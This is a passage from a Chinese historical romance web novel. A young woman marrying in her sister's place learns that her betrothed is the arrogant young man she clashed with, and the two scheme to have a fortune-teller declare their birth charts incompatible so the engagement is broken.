“我…这，我不重要，咱还是说回魏公子晕血的事吧。”
魏大夫摇摇手，“正巧我就是去姜家看诊，走走，你和这晕血的一起去。”
“啊？”霍尧摇头，“不去不去。”
他转身，魏大夫一把抓住他，又一把抓住魏宇桀拉着二人就走，扬了下头，“谢公子把药箱提上。”
“哦。”谢沉规规矩矩拾起药箱挎肩上忙抬脚跟上去。
-
姜华临缓过一阵来才能勉强挪动脚去里屋软榻上趴着，谭柳慧在一旁对他“一脸不争气“的表情抿着唇，偷白着眼，“你说你急什么？走个路都能把腰给闪了，这下聘礼和婚期的事我一个人怎么去谈定。”
姜华临趴埋着头，没气焰地道，“哎呀，也不耽误这一会儿，人都来了肯定是要定下来的，你别抱怨我了，快去招呼人吧，别把未来亲家给怠慢了。”
“这会儿倒知道不急了。”谭柳慧哼了声从榻上起身出去了。
姜苏苏站在屋子门口想去瞧瞧爹爹有没有大碍，谭柳慧就掀帘子出来了，看见她便笑着拉着她的手，“走，你和我一起出去招呼人。”
“爹爹…可还好？”她忧愁蹙眉问。
“没事，死不了，就是闪了腰，请了大夫在来的路上了，眼下你和霍公子的婚事比较重要。”谭柳慧笑着却略感急切地带着她出去问候人。
姜苏苏到正厅给霍君鹤行礼，“见过霍伯父。”
霍君鹤神情依然严肃，嘴角只是轻微的上扬着点了下头。
她随谭柳慧去坐下，谭柳慧道，“让未来亲家见笑了。”
袁舒兰抿唇淡笑，“无碍，人没大碍才好。”随后端起茶盏抿了口茶，回口微微苦中带着甘甜，满意道，“这茶不错。”
谭柳慧笑道，
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“是铁观音，亲家喜欢我派人送去府上。”
袁舒兰缓缓点头，一旁的霍君鹤端起茶盏，看向苏苏问道，“你可读过什么书？”
霍君鹤的威严让人不寒而栗，谭柳慧都捏了把汗，但苏苏娴静自然道，“回伯父的话，读过四书，五经这几本书。”
霍君鹤喝了茶放下茶盏点头，心想：他家那逆子连四书都还没读过，说出去都丢人。
他夫人说的有道理，这姑娘不错，尽早和霍尧成亲了说不定，那逆子能把心收了好好读书。
谭柳慧还以为这丫头在庄上没读过什么书，她在霍家夸下的海口要露怯，没想到还读过这么多，这下可放心些了。
侧眸笑了笑，打趣道，“怎得还在你霍伯父面前班门弄斧起来了，以后要多谦虚请教，可知道了？”
姜苏苏垂眸轻声，“知道了，母亲。”
袁舒兰忙道，“无妨无妨，不拘小节，大大方方挺好。”她笑着转目看向夫君觉得如何。
霍君鹤微笑着满意点头。
小厮跑着来通报大夫来了，谭柳慧忙起身，“快快请进来。”
“是。”
这时魏大夫带着魏宇桀来了，魏宇桀低拉个头，不情不愿地。
魏大夫挎着药箱给好友霍君鹤行了礼，正要说霍尧在外面，霍君鹤道，“不必多礼，快去看诊。”
“好。”魏大夫挎着药箱拉着魏宇桀同姜家小厮去里屋看诊。
文妈妈站在姜苏苏，震惊瞪大了眼，随后小声在她耳边道，“小姐，这就是要作证澄清的魏公子。”
闻言，姜苏苏抬头看去时也只看了个背影。
没穿红袍她方才也没注意到。
苏苏想了想让文妈妈去告诉谭柳慧，方才进去的魏公子就是在集市遇到的男子。
文妈妈点头悄悄去在谭柳慧耳边传话。
谭柳慧愣了下点头。
想着先避嫌，姜苏苏借回屋写祈福条的理由福了福身先下去了。
-
霍尧准备找时机溜走，谢沉拦住他，“诶，来都来了，坐下吃点再走吧，我看姜家这宴席的菜肴办得不错。”
说着谢沉拉着他找了个不显眼的位置坐了下来。
霍尧蹙眉张望一刻，坐立不安地起身，“你自己吃，我走了。”
他朝姜家大门出口走，谢沉拿着筷子，唉——
拦不住，谢沉就只好自己端着碗吃了，夹了块红烧肉在嘴里，“嗯，味道不错。”
姜苏苏走到院子就看见霍尧连连回头张望着往大门口去，像是要逃走怕被人发现似得。
她心下想：怎么一转眼就跑出来了，不会是不想给她澄清了吧。
她连忙跟上去，礼貌唤道，“魏公子，魏公子请留步。”
“魏公子…”
霍尧完全没有意识到是在喊他，只觉得这个声音格外的熟悉，像是姜……
他莫名转头查看，姜苏苏就凑到了他跟前。
“见过魏公子，还请魏公子留步替我澄清名誉再行离开，苏苏感激不尽。”
9. 9
霍尧看着她，渐渐露出疑惑的神色。
怎么叫他魏公子？
“你…让我给你澄清名誉？”
姜苏苏缓缓起身，听见他的话倒是愣了一下，不是答应给她写澄清信了嘛，正巧人来了就不用那么麻烦了，直接替她说明就行啊。
不过她看他的皱着眉的表情好像是不情不愿的。
他这是反悔了？
她点头，“还请公子不要失言，这对我很重要。”
霍尧不明白他失什么言了，他又不是魏公子，现在他能把这婚约退了才是最重要的。
思索下，他沉眸打量了她一下，转身侧目道，“要我帮你澄清也行，不过你得帮我一件事。”
姜苏苏眸子微抬，“公子请说。”
“你退掉和霍家的婚约，我就答应你。”
“……”
“请公子不要开玩笑。”
霍尧转身回来站在她面前，剑眉轻抬，“这都做不到，那小爷无法给你澄清了，告辞。”
他抬脚跨出一步，姜苏苏上前拦住，语气带着几分气愤，“公子说话为何不算数？”
霍尧冷声，“谁说我答应你了。”
“你……”姜苏苏语塞一瞬，秀眉微蹙道，“无赖。”
她还以为是自己肤浅以貌取人了，现在看来还是这番狂妄又自恋。
以后嫁给他的姑娘可倒霉了吧。
既然他不愿帮她澄清她也不强求了，就让那些传她谣言的传去吧，清者自清，谣言止于智者。
她难得再与这位说话不算话的魏公子周旋了。
姜苏苏转目潇洒离开，清风抚裙留下一丝淡淡的幽香。
霍尧怔了一瞬，无赖二字在耳朵里回荡才反应过来，眸子愈发黑沉了。
她骂他无赖？这伶牙俐齿的柳条子。
“柳条子，敢这样说小爷，站住。”他抬脚正要追上去，刚跨出一步就看见他爹和娘走出来和那柳条子聊上了。
他脸颊紧紧绷着半眯眸气的咬牙，无可奈何赶紧转身溜了。
霍君鹤听魏大夫说霍尧来了便出来寻了一圈都没看到人，这小子来了也不打声招呼。
正巧碰见苏苏便道，“霍尧方才来过了，可有遇见？”
姜苏苏摇摇头。
霍尧来了吗？她还不知道霍尧长什么样。
袁舒兰心情大好地笑着说：“看来尧儿也是认可你了，要不然怎会身子不舒服还来参加你的回京宴。”
苏苏有些不好意思地抿唇垂下眸子。
“霍公子现在到哪儿去了，待会儿能见到他吗？”
她也有些期待看到未来的夫君长什么样。
袁舒兰眼睛弯起来，“他可能想到要见未来媳妇也不好意思了，待会儿若见到了我带他来见你。”
苏苏含着笑眸，点了点下巴。
文妈妈从里屋出来走到苏苏身旁，禀报道，“小姐，大夫给老爷施了针灸现在老爷已经好多了。”
这时魏大夫给姜华临施完针灸从里屋出来，魏宇桀被训得低着个脑袋走路。
文妈妈抬了眼看到魏宇桀出来了，又低声道，“方才夫人没有机会问魏公子。”
“魏公子出来了。”
苏苏一瞬间蹙眉，抬头看见文妈妈说的魏公子，她顿时心口一顿。
这个是魏公子，那方才那个是？
魏大夫走来抱拳对霍君鹤道，“霍兄。”
霍君鹤回礼，笑道，“麻烦魏兄跑一趟了。”
“作为医者应该的…诶，可见到宁郎了？”魏大夫往门口看了眼。
“还没见到，不晓得又跑哪去了。”霍君鹤沉着道。
“应和谢家的公子一起的。”魏大夫让魏宇桀去把谢沉找来。
姜苏苏看见魏宇桀她想起来他是那天问她未婚夫是谁的那个人。
那天有三个男子，难道其中一个是霍尧？
这一顿分析，苏苏地心脏忽上忽下的，像是在寺庙撞古钟咚咚咚响起来。
千万不要是那个穿红袍的啊，拜托了老天爷。
魏宇桀不情不愿地托着脚去，一抬眼看见谢沉啃着果子来了，他无精打采地指了指道，“呐，谢沉来了。”
姜苏苏心惊胆战地转头，谢沉的脸在她眼前模糊中渐渐清明起来。
这是给她捡帷帽的那个男子。
她顿时像是化为了一座僵硬的雕像。
所以……霍尧是那个狂妄的红袍男子？
谢沉走过来，魏宇桀问到，“阿尧呢，怎得没和你一起？”
谢沉转目看了姜苏苏一眼，回头拱手有礼道，“方才我看见阿尧和这位姜姑娘聊了一会儿便走了。”
闻言，姜苏苏浑身更僵了。
袁舒兰柔和看向她，将她牵到身边轻扶着手道，“苏苏原来你已经见过阿尧了啊，怎么样，你和阿尧聊的还愉快吗？”
苏苏咬着唇角。
不是愉快，是非常不愉快。
霍尧怎么会是他，这个亲是不能结了，结了还不得闹得天翻地覆啊。
“呃…”她话到了嘴边说不出口，她和霍尧是冤家路窄不能成为夫妻啊。
袁舒兰把她为难的表情解读为不好意思，笑着拍了拍手。
“你们郎才女貌，不错不错。”
魏宇桀咬牙侧眸看向谢沉，不讲武德。
夜幕落下的酒楼包厢门口，灯笼高挂，楼下歌舞热闹喧嚣。
魏宇桀哼道，“你可不讲武德啊，以为这样你就能赢走我的夜明珠？”
谢沉拿着酒壶侧目摊手笑道，“彼此彼此，你想背着我耍阴招拆散他们，我正大光明让阿尧和姜姑娘婚约顺利进行也没错啊。”
“我哪里耍阴招了？在阿尧面前我还帮你了，是阿尧自己说姜姑娘不是他喜欢的类型。”魏宇桀可不承认，往包厢里看了眼，压着声儿说。
谢沉饮了口酒，拍着他的肩膀，笑着摇头叹道，“阿尧可不是魏公子啊。”
说完，谢沉转身回了包厢，魏宇桀茫然站着，压低声问，“喂，什么意思，说清楚啊。”
谢沉没理他，坐到霍尧旁边。
霍尧掀起眼皮，蹙眉烦道，“你们上茅厕都要一起去，太夸张了啊。”
谢沉笑了声，歪头皮道，“要不你也一起。”
霍尧嫌弃地瞥了他一眼，散漫拿起酒盏，“去，小爷可没那癖好。”
“话说
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回来，那姜姑娘还挺想和我成亲的。”他无可奈何地叹着摇头，扯嘴角笑着，“小爷这魅力还是挡不住啊。”
谢沉抿唇都快听不下去了。
魏宇桀进来刚坐下就听见这一句，忙问道，“阿尧，你就这么妥协了？”
为了守住价值连城的夜明珠魏宇桀也不装了，谢沉趁他不在的这一会儿又耍了什么把戏？
“别忘了姜姑娘可说你自恋啊，成亲后还了得，肯定把你管的服服帖帖的。”
这一听，霍尧顿下酒盏。
他差点忘了，那柳条子今天不仅认错人，还说他无赖。
忍无可忍无需再忍。
“小爷要让她知道谁是霍尧。”霍尧起身掸了掸袍子，拎起包袱，“走了，该回府了。”
魏宇桀看看谢沉看看霍尧，一双无措的大眼，“？？”
赶紧站起来拦住，“好不容易逃出来了，这又回去了，你不是就要去娶姜姑娘了？”
霍尧执着地皱眉，“谁说我要娶她了，我只要让她认清楚人。”
说着霍尧就撇开魏宇桀的手，抬脚张扬洒脱地走了。
谢沉一边倒酒一边抿着唇笑，这下夜明珠就是到嘴的鸭子飞不了了。
“魏公子，把夜明珠准备好吧。”
魏宇桀目瞪口呆像一只呆鹅。
-
姜苏苏在屋里坐立不安，她万万没想到他竟然是霍尧。
文妈妈端着安神汤进来，“小姐，老奴熬了安神汤，喝了再睡，夜里就不会梦魇了。”
夜里是不会梦魇了，是整天都在梦魇。
苏苏仰头望着天，心想谁都可以但怎么偏偏是他。
“妈妈，我不想替嫁了，还有法子不嫁吗？”她长叹着看向文妈妈。
文妈妈放下汤碗，走到她身边问，“发生什么事了吗？小姐。”
苏苏坐直身子，细细道出了事情的经过。
文妈妈大吃一惊，“啊？老奴认错人了啊？那真的魏公子还说要帮忙写澄清信，这不是玩弄人嘛。”
她惆怅地低着头。
是啊，也难怪霍尧说他没说过要澄清。
不过霍尧让她退掉和霍家的婚约，看来他是不想成亲的。
要是就这样嫁过去了，先不说被揭穿是替嫁的身份后会怎么样，就她和霍尧之间的相处也是个大麻烦。
苏苏懊恼地撅着嘴，越想越崩溃，“妈妈，我和霍公子之间绝对无法平和的相处，更别谈以后好好过日子了。”
文妈妈思索着也想不到什么好办法。
“小姐，唯一的法子怕只有让霍家那边退婚了，可今日在老奴看来，霍老爷和霍夫人对小姐都很满意，想要霍家退婚怕是不容易了。”
姜苏苏眸子垂着。
她也知道现在再想不嫁过去肯定是不容易了。
确实只有让霍家那边退婚是唯一的法子，让霍夫人和霍老爷退婚现在不可能的话，那就让霍尧退婚。
听今天霍尧说的话，他肯定也是不想娶她的，只要她和霍尧站在同一阵线一起把这婚约解除了就好了。
这样既没有了替嫁后被揭穿的后顾之忧，她和霍尧也不用硬着头皮成亲过下半辈子。
10. 10
池塘荷叶沾着的露珠晶莹剔透，清晨阳光照在宅院乌色瓦片上，祥和暖调。
姜苏苏借着去集市卖竹玩准备去找霍尧与他好生商量怎么把婚约给退了，带着云蝶和文妈妈还没踏出大门，谭柳慧的贴身嬷嬷就来拦住了她。
“小姐，今后你不能再随意去集市抛头露面了。”
她淡道，“嬷嬷，昨天霍家来也侧面将谣言不攻自破了，母亲也没有说要禁我的足。”
她抬脚准备走，嬷嬷态度坚决一下拦住她，满是不客气，“小姐，老奴这番就是奉夫人的命来让小姐好生屋子里待着和安小姐学习作画以防日后暴露，损了姜家的名声。”
文妈妈听这不客气的语气，斥道，“你个老婆子，对小姐放客气点。”
这个老嬷嬷眼珠子不悦地转着看了眼文妈妈，狗仗人势地气焰消散了些，不情愿地扁着嘴颔首规矩道，“请小姐现在回屋。”
姜苏苏眉心微蹙起来，如果不尽快退婚，越往后越麻烦。
趁着还没商定好婚约，她得和霍尧赶紧想好退婚的法子。
她捏着手中的帕子看着嬷嬷，转目并不打算听嬷嬷的，然而这时姜云安赶来叫住了她，“苏妹妹。”
抬起的脚又收了回去，她转头瞧见丫鬟搀扶着姜云安脚步急切地赶来。
她上前迎道，“姐姐怎么来了。”
姜云安温柔亲切的拉着她的手，眼底洋溢着不符合年纪的柔慈，“我来寻妹妹回屋学画啊。”她笑着看向嬷嬷，感觉气氛僵冷，疑问，“这是怎得了？”
李嬷嬷笑颜请安，“回安小姐的话，老奴按夫人的吩咐来让苏小姐去和安小姐学作画，但苏小姐执意要出门去集市，就生老奴的气了。”
文妈妈气得低声骂道，“恶人先告状的狗东西。”
姜云安笑意缓落，冷目看了嬷嬷一眼，“定是你惹恼妹妹了，给我退下。”
李嬷嬷立马颔首，“是。”
姜云安转眸对苏苏笑着道，“妹妹你别管那嬷嬷，她仗着在母亲身边待得久就没了脑子，别为一个婆子伤了心神。”
话说的圆滑，苏苏本也没当回事便淡笑点点头。
“姐姐，今日妹妹有事要办，改日再和姐姐学作画，外面风大姐姐暂且先回屋吧。”
说着她欲要转身，姜云安忙叫住她，“妹妹，是有什么要紧事？难道是为了去打听那个男子的事？”
苏苏知道姜云安所指的是石于程，蹙眉摇了摇头，“不是，姐姐不是叮嘱我万不可再提吗？”
姜云安拉着她，缓颜笑道，“不是便好，那不是什么重要的事，妹妹还是不要出门吧同我回屋，我有东西要给你。”
不给她拒绝的机会，姜云安话音还未落就笑意绵绵把她带回了屋里。
姜云安住在东院，和她住的前后只隔了一堵墙。她刚坐下姜云安就拿着妆匣子过来，从中把一个同心结拿出来递到她手里。
她抬眸问，“这是……”
“霍家给的定亲信物，我差点忘了给你了，幸好记起来了，要是暴露了可就不好了。”姜云安笑着到她旁边轻轻缓缓地坐下。
苏苏半垂着眸，沉默着把同心结放回妆匣子里。
她思索着缓缓道，“姐姐，我想和霍家商量把这个婚退了，这样就不用担心以后暴露的问题了。”
她刚说完，姜云安忧愁的皱着眉，着急问，“为何？”
她向姜云安道出缘由，姜云安听后沉眸垂睫。
苏苏看姜云安神色担心，缓然道，“姐姐，霍家公子也不想要这个婚约，只要我和他商量出个法子和平地把这婚约解除了，我们也不用担心以后暴露替嫁的事了。”
姜云安忧愁地抬起眸子，“你怎么知道他也不想…”
“他昨天告诉我了。”她确定地说，“只要姐姐帮我想办法出去，应该很快就能商量出法子。”
姜云安细眉淡蹙地抿着唇思虑，片刻后抬眸道，“那好吧，姐姐帮你，但你要保证一定要把婚约解除了，不然姐姐……”说到此处突然戛然而止。
苏苏认为姜云安是想说要是被发现她帮她偷跑出去，定会受家规惩罚。
她一人做事一人当地道，“若是被发现，姐姐就当不知情。”
姜云安抿唇沉默着转身去衣橱底下拿了身衣裳给她。
“去换上。”
她点头接过发现是身小厮的衣裳。
“姐姐是想让我扮成小厮混出去。”
“母亲从不准我踏出姜家的门，我知道想出去有多难，只有这个法子才能出去。”
苏苏点头拿着衣裳去换上扮成了姜家的小厮样，随后跟着姜云安到南院的一处稻草堆前。
姜云安挪开稻草，一个狗洞就出现在眼前，“妹妹尽快回来。”
她点了几下头弯身钻爬出去然后前去霍府。
-
与此同时在霍府。
霍尧枕着胳膊，搭着腿悠闲地躺在贵妃榻上听着南五给他汇报姜苏苏。
“姜姑娘年十七，性子温婉，极为擅长作山水画，听闻曾经有人想花天价买她的作品，但姜姑娘却以无价的说辞给拒了。”
霍尧顿了下，她性子温婉？他怎么没看出来，和他说话的时候挺厉害的啊，像个小炮仗似得。
他抿了下唇，晃着腿合上眼道，“继续说。”
“姜姑娘害怕蛇，毛毛虫，蟑螂……喜欢吃芥菜和苦瓜……”南五把调查到的挨着念了一遍，“少爷，暂时打听到这些。”
霍尧缓缓起身掸了掸红袍，“够了，再加上小爷这张脸足够让她印象深刻了。”
他抬脚跨出屋子，南五忙问，“少爷您又要跑路？老爷和夫人还让小的叫您过去商定多久上门提亲。”
他头也不回地道，“让他们自己定。”
南五站在伸长脖子望着抠脑袋，心里琢磨：
这是答应娶还是不娶啊？
-
姜苏苏到霍府门口，想着自己现在是小厮的打扮便没有避讳地去敲了门。
等了一会儿，大门嘎吱开了。
姜苏苏压着声问道，“找霍公子。”
南五皱眉四下打量对面的人，穿着打扮是个普通小厮，这张脸却异常漂亮清秀。
“找我家少爷何事？”
“我家公子与霍公子有要事商议，麻烦
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通报一下。”
“你家公子？你家公子是谁？”南五打破砂锅问到底。
姜苏苏愣了下，“呃……你不认识，总之快通报吧，别耽误了要事。”
南五的五官挤成一团，“我不认识？怎会有我不认识的，除非……”
苏苏看着他，他抖动着脚，突然出声哼道，“除非你家公子觊觎我家少爷的美貌，想要设计圈套毁掉我家少爷的脸。”
话落，南五一下把门合上。
苏苏：“……”
她抬起手再敲了下门，南五一下把门打开，侧目打量着她。
“还有什么事吗？”
“麻烦通知下你家少爷又要事商谈，还有我家公子真不觊觎他的美貌。”
南五贱贱地挑眉，“我家少爷不在，刚出去了。”苏苏刚提气要问去哪儿能找到他时，门一下又被关上了。
她皱眉，霍家的小厮怎么也和他一个样。
这个亲真的万万成不得，她会被逼疯的。
正欲抬手，对面又一下把门打开一脸呆瓜样地看着她。
“你可以去春雅酒楼找我家少爷。”
姜苏苏正要道谢，南五憋着嘴道，“看你长得好看才告诉你的。”说完又关了门。
门风大吹起的灰尘都迷了她的眼，边揉着眼便走到春雅酒楼。
到酒楼楼下，眼睛里的异物感还很明显，频繁眨动了几下眼睫才稍感好受了些，长睫毛被泪水濡湿显得更加浓密纤长，此刻越发得俏哥儿了。
走进去，她找了个店小二打听，“霍公子在这里吗？我是来给公子传话的。”
店小二思索回道，“是和魏大人，谢大人一起来的那个霍公子？”
苏苏想到昨天见到的两个是一个姓魏，一个姓谢，忙点了下头。
“在二楼左拐的第二间包厢。”店小二说完就搭上布去跑堂了。
歌舞喧嚣处处充满了灯红酒绿，她不自在地走上二楼。
从楼梯往下看歌舞伎的舞姿曼妙薄纱舞动，肌肤若隐若现，她一个女子看得都脸红羞涩。
收回眼神，刚一转头不小心撞上了人。
“抱歉，公子。”她赶忙颔首道歉。
“走路要抬头。”男人的声音清冽温润，犹如春风。
她抬眸正要回答，看见男人的脸她愣了下，蹙眉震惊低语，“程哥哥……”
男人没听见她说什么径直走下了楼梯，她追上去但人多一转眼人就不见了。
这时霍尧三人从包厢出来，正准备下楼，霍尧就看见楼下一小厮在四处扒拉人，而那张脸格外的熟悉。
他扬了扬下巴道，“你们看那个扒拉人的是不是姜苏苏。”
魏宇桀向前伸着长脖子，眯着眼又用手把眼皮拉扯一条缝，“哪儿？哪儿？”
谢沉说道，“阿尧，你是不是眼花了，人这么多，隔这么远哪能看得清人，况且这是酒楼，姜姑娘一个大家闺秀怎会来这种地方。”
霍尧拿着扇子，淡扯着嘴角，“小爷鹰眼怎会看错，我说过她的那些话是故意引小爷注意的吧，你看这，来挨个找我呢。”
说着得意就抬脚下楼。
11. 11
姜苏苏把穿乌紫色长衫的人都看了一遍都不是程哥哥。
方才离得那么近，她清楚的看到就是程哥哥，虽然他的穿着打扮和在庄上时的麻布衣不同，但那张脸她不会记错。
她蹙着眉心继续寻找他的身影，看见酒楼外的一个背影很像。酒楼此时人潮如浪，她赶紧拨开人群拥挤着出去。
后面的霍尧刚下来，没见着人了，正奇怪着。
魏宇桀站在他旁边，张望几下说：“这酒楼里不是男人就是酒楼歌舞伎哪来的姜姑娘。”
霍尧沉眸心想：难道他看错了？
谢沉倒是调侃起来，“我就说看错了吧，姜姑娘怎么会来酒楼这地方，在京城的大家闺秀哪一个不是一听酒楼就色变。阿尧你不会是得什么相思病了吧，看谁都是姜姑娘。”
闻言，霍尧浓眉轻抬，惊道，“相思病？我？你说什么胡话，小爷对她可没兴趣，她那弱柳扶风的身材，小爷瞧不上。”
谢沉一脸耐人寻味的神色淡笑，魏宇桀转目道，“不过阿尧应该不会看错吧。记得那次受邀陪圣上去围场狩猎，都没看见有刺客藏身何处，只有阿尧拿起弓箭就命中了朝几十米开外的刺客，可不像我五米以外六亲不认。”
“阿尧，方才你看到的姜姑娘穿什么颜色的衣裳，我们再找找？要是她真的来酒楼，那你不就有理由不娶她了。”
说到此魏宇桀感觉快飞出去的夜明珠又回到自己手里了，脸上是止不住的笑。
霍尧侧目，“什么理由？”
“谁家大家闺秀来酒楼啊，霍府难道容得下这样抛头露面不顾名节的姑娘进门？”魏宇桀心直口快，眉眼和悦地说出他的好法子，没想到一说出口霍尧并没有多高兴。
“酒楼怎么了，你们和我不都经常来？怎么女人就来不得。”霍尧声音冷冷淡淡，语罢，他转身出酒楼。
魏宇桀茫然地看向谢沉，“阿尧这啥意思…”
谢沉拍了拍他的肩，笑着叹道，“哎，夜明珠要到我手上的意思。”嘴角控制不住的上扬，抬脚跟朝霍尧跟上去。
魏宇桀抱着脑袋扬天长道，“造孽啊！哎…哎，我真是个乌鸦嘴，一开始说什么孽缘最顽固。”
-
姜苏苏还是没找到人，她站在街上有些沮丧地看着长街的尽头，突然感觉眼睛还是有异物感，她低头揉着眼睛，但越揉却越感觉异物感让眼睛睁不开。
这时听到有人叫她：
“姜苏苏。”
“嗯？”她下意识一下转身，抬头努力缓缓地睁开眼，但视线模糊，看不太清对面是谁。
直到流了几滴眼泪后眼睛里的异物感消失，眼前才清明地看清楚是霍尧。他还是一身红袍，眉眼清冽有神，嘴角勾勒的笑意带着玩世不恭的张扬气质。
霍尧怔愣，她怎么哭了？
因为好不容易才见到他，所以哭了？
他抿唇压了压嘴角的笑，“别哭了，找不到我也不至于哭啊，我这不是来了嘛。”他轻挑了下眉，散漫地耸了耸肩。
姜苏苏愣了下，谁找不到他哭啊。
又犯病了。
不过也罢，她也是来找他商议退婚法子的。
她皱了皱鼻子，用袖口抹了眼角的泪，抬眸眼圈红红地道，“我知道你是霍公子，霍尧了。”
霍尧扯着嘴角淡笑，“然后呢？”
她正要说时，谢沉和魏宇桀从霍尧后面来了。
抿了抿唇，想着这件事还是不要声张让太多人知道，她低声道，“能单独谈吗？你朋友来了。”
霍尧转头看了眼，回头拉上她就走。
到街头的一家茶馆坐下，霍尧散漫地歪着头看她，“说吧，什么事让你专门换了身小厮的衣裳来见我，就不能正大光明？”
姜苏苏淡道，“那日在街上我拿竹玩给你的事不知被谁传了不实的谣言，所以禁足了，这身打扮是无可奈何。”
霍尧眸子转着垂下，长睫眨了眨，端起茶盏抿了一口，“此地无银三百两”的样子问道，“哦……谁啊，挺无聊的。”
“不知是谁，估计是那日围观的人吧。”她沉道。
“所以你才让我帮你澄清名誉？但又认错了人。”他放下茶盏，长指摩挲着盏壁掀起眼皮。
“嗯。”姜苏苏看向他空了地茶盏。
霍尧淡扯着唇含着一丝笑，心道：“也难为她还专程偷跑来解释了，看来还真是想和我成亲，不过人生在世还是得娶自己喜欢的人，还是婉……”拒她吧。
还没道完就听她语气缓然地说：
“那时候我不知道你霍尧，也不知道是你与我有婚约，所以那日才说不愿意解除婚约。现在知道了，霍公子我们一起商量个解除婚约的法子吧。”
霍尧脸颊绷起来，后槽牙紧咬着。
什么？还是她不乐意嫁给他了？
“你不愿意嫁给我？”
姜苏苏半垂眸，浓密地鸦睫扇了下，无辜地抬头认真道，“嗯，正好霍公子也想解除婚约，我想现在最好的法子就是我们两个站在同一阵线把婚约解除了，这样对谁都好。”
霍尧环抱双臂，半眯着眸思量她。
他哪里让她不想嫁了？不论是家世背景，还是容貌，这两样在京城哪一处挑得出一点不好？
苏苏看他没反对，当他是默许了，便抿了抿唇道，“我想了个法子，霍公子看可不可行？”
霍尧沉着脸没说话，她咽了咽唾沫接着说：“去庙里找个道士算我们的生辰八字，然后买通道士说八字不合，不能结亲，理所应当就把这婚退了。”
霍尧咬着牙低笑了声。
她是有多不想嫁，这都想得出来，他还让她给嫌弃了？
苏苏没得到回答，沉了沉看向他询问，“如何？若是觉得这法子不行，霍公子想个合理的法子，我们商议商议。”
霍尧垂下眼皮，片刻后抬起，挑动了眉梢，“就按你那个法子。”话音落下，他便起身，“道士的事交给我来处理，其余的你看着办。”
“好的，公子。”苏苏点头。
霍尧扯着笑转身离开，苏苏心里的石头放下来了。
回了姜家她第一时间去姜云安房里告诉了她这个消息，“姐姐，已经商量好了，只要让爹爹和母亲去庙里算八字就没问题了。”
姜云安还是有些担心，“真的没问题了？”
“嗯，
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霍尧说道士的事交给他处理，他有钱想必用钱买通道士是没问题的。”姜苏苏点点头，“姐姐就别担心了，只有婚约解除了我们才没有后顾之忧。”
听她这样说了，姜云安才稍稍放下些心来。
“我一直怕母亲去你房里寻你，在屋里心都悬着。”
“嗯，姐姐，所以我一回来就赶紧来告诉你好消息了。”她弯着眼角笑的甜甜的。
姜云安淡笑问道，“那今日怎得去那么久，可是说服了很久才同意的？”
苏苏摇摇头，垂眸沉默了一阵，缓缓道，“姐姐，我看见程哥哥了所以耽误了时间。”
姜云安大为吃惊，惊异地用帕子抵着胸口，皱着眉道，“石于程早就被行刑了呀，会不会是妹妹看错了？”
她缓然蹙眉，“我觉得就是他，没有看错，只是人太多追上去时就没找到他了，也许他真的没死。”
“妹妹，这可不是件小事儿。”姜云安赶紧拉过她的手，“不管他死没死，这话可不许再说了，他究竟犯了什么罪暂且不清楚，但都下命令不许讨论定是大罪。”
苏苏心里沉甸甸的。
“我知道的姐姐，只是在庄上那几年以来，他对我和外祖母都很照顾，所以想要知道他过得怎么样。”
姜云安长叹，忽而提到，“会不会是长相相似的人被妹妹认错了？这世间之大，想必会有两个相像的人。”
这么一提，苏苏心里倒是没那么确定了。
但她希望他还活着，好好活着。
苏苏咬着唇，忍不住道，“姐姐，你能不能帮……”她知道再求姐姐不合适所以语调缓缓落了下来。
姜云安看她低垂着眼睫，淡声道，“姐姐什么事都能帮你，但这件事…不能。”
她只好缓缓点了点头。
准备去换上自己的衣裙回隔壁去，姜云安陪她起身时忽得呕了一下，她忙扶住姐姐，“没事吧，姐姐，要不要请大夫来瞧瞧？”
“没事。”姜云安拍了拍胸口，“就是前几日吃坏了肚子，所以犯恶心，已经在喝药调理了。”
“怎会吃坏了肚子？”苏苏担心地蹙眉。
姜云安神色凝然，顿了下笑着说：“大夫说吃的太杂了导致。”
“哦…那姐姐定要注意身子吃的清淡些。”苏苏关切道。
“知道了妹妹，快去换衣裳回去吧，文妈妈和云蝶还等着你回去呢。”
“嗯。”
苏苏换了衣裳走出姜云安的院子，她回头若有所思地望了眼，这时云嬷嬷在院门口张望，看她回来了忙上前低声道，“小姐，你终于回来了，担心死老奴了，饿了吧，晚膳已经备好了。”
回到屋子，云蝶听见她和文妈妈的声音，赶紧从床榻上起来，过去倒上茶，“小姐，您回来了，奴婢去给您端晚膳来。”
苏苏点了点头。
晚膳端上桌，苏苏吃得很香。
文妈妈看她笑吟吟地夹着菜，眉眼弯着问道，“小姐，事情已经商量好了？”
苏苏嘴里塞的满满地点头，“嗯，和霍公子商量好了。”
霍尧想退婚，她也想退婚，这是她和他唯一合得来的一件事了吧。
12. 12
六月初十，正巧姜家要去庙里烧香拜佛祈祷生意兴隆，苏苏便在这时提了一嘴与霍尧算生辰八字的事。
谭柳慧沉默一阵，她侧眸看了眼夫君，回头看向苏苏淡声道，“其实倒也不用算，这亲事是祖辈定好的，算了也白费。”
言下之意在告诉苏苏，即便是算了八字，八字不合她也得嫁过去。
苏苏自然听明白了其中的意思，只不过她装作不懂的样子道，“母亲，您不是说霍家要上门提亲嘛，那提亲的日子还是算算吧，挑个好日子也有个好彩头。”
她这样说也不是说就完全听从谭柳慧的意思，等到寺庙霍尧那边也把大师安排好了，只要说不利于两家的话便行了。
家族的兴衰何等重要，她爹爹是很看重的，霍家高门大户定也是如此，若是听说两家结亲不好，这个亲就结不成了。
商量退也能有个合理的由头。
苏苏在心里把各方面都想得周全，她抬眸看向姜华临等他定夺。
姜华临闪了得腰还没好，坐着都还撑着个老腰，神色沉着地思索苏苏提的事。
苏苏说得倒是没错，只不过这提亲的日子是不是该和霍家商量着来决定？这样也能显得霍家更重视他家的女儿，到时候他脸上也有面儿，生意还能不好做？
“这…确实是要挑个好日子。”姜华临深深舒了口气，看向妻子，“上次霍家有说多久提亲？”
谭柳慧不悦地皱了下眉，啧了一声，“这不是老爷您把腰闪了，还没来得及商议嘛，要我说就霍家那边订好日子上门来便是，弄那么麻烦别到时候又出什么幺蛾子。”
苏苏轻抬了下眸看了眼谭柳慧。
怎么着急把她嫁过去？
是为了她的嫁妆？
姜华临也觉那日太不小心耽误事了，但一家之主的颜面岂能就这样在自己女儿面前丢了。
冷着脸侧目拍板道，“不就是一点小事，怎得被你说得像是天大的祸事一样。初十就去找庙里最有名的道士算苏苏和霍公子的八字，然后和霍家商定提亲日。”
谭柳慧顿时脸色沉了，手中的帕子被拧成一团。
不过她并没有多说什么，而是转目叹了一声。
